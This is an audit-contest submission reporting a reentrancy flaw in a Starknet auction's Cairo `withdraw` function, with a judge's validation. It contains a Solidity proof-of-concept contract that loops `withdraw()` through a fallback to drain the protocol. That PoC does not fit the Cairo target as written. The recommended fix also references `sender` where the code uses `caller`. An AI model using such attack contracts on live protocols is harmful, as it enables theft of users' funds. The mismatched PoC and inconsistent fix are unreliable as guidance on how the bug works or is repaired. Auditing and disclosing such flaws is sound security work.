Starknet Auction

First Flight #26
Beginner FriendlyNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Re-entrancy Attack on Withdraw Function

Summary

Through the withdraw function, a client can withdraw their unsuccessful bid from the protocol. However, the function lacks code to set the client's funds to 0 before the transfer.

let amount = self.bid_values.entry(caller).read();
if amount > 0 {
let sender = get_contract_address();
// @audit reentrancy attack - lack of amount set to 0. self.bid_values.entry(caller).write(0);
erc20_dispatcher.transfer_from(sender, caller, amount.into());
}

Vulnerability Details

If the client's amount is greater than 0, they can withdraw funds from the protocol, fully depleting smart contract's balance thanks to reetrance attack.

In the `withdraw` function is if statement where is checking client's amount.

if amount > 0

If amount is greate than 0, then is possible transfer client's founds from smart contract to it's address.

erc20_dispatcher.transfer_from(sender, caller, amount.into());

In the withdraw function, there's no code to set the client's balance to 0 before transferring the amount. This omission allows for a reentrancy attack, enabling malicious actors to steal all funds from the smart contract.

POC

// SPDX-License-Identifier: MIT\
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address sender, address recipient, uint amount) external;
function transfer(address recipient, uint amount) external;
}
contract ReentrancyAttack {
IERC20 public erc20Token;
address public auctionContract;
bool private attackInProgress;
constructor(address _erc20Token, address _auctionContract) {
erc20Token = IERC20(_erc20Token);
auctionContract = _auctionContract;
}
// Function to start the attack
function attack() external {
// Ensure we're not already in an attack
require(!attackInProgress, "Attack already in progress");
// Start the attack
attackInProgress = true;
// Trigger the withdraw function on the vulnerable auction contract
(bool success, ) = auctionContract.call(abi.encodeWithSignature("withdraw()"));
require(success, "Initial call failed");
}
// Fallback function to catch the reentrancy call
fallback() external {
if (attackInProgress) {
// Withdraw funds multiple times before the state is updated
(bool success, ) = auctionContract.call(abi.encodeWithSignature("withdraw()"));
require(success, "Reentrant call failed");
}
}
}

Impact

The entire amount from the protocol can be stolen.

Tools Used

manual review

Recommendations

Please add self.bid_values.entry(sender).write(0)to set 0 for client balance and remove

let sender = get_contract_address();

let amount = self.bid_values.entry(caller).read();
if amount > 0 {
self.bid_values.entry(caller).write(0);
erc20_dispatcher.transfer_from(sender, caller, amount.into());
}
Updates

Lead Judging Commences

bube Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `withdraw` function

The `withdraw` function doesn't reset the `bid_values` to 0 after the withdraw. That means the bidder can call multiple time the `withdraw` function and receive the whole balance of the protocol.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.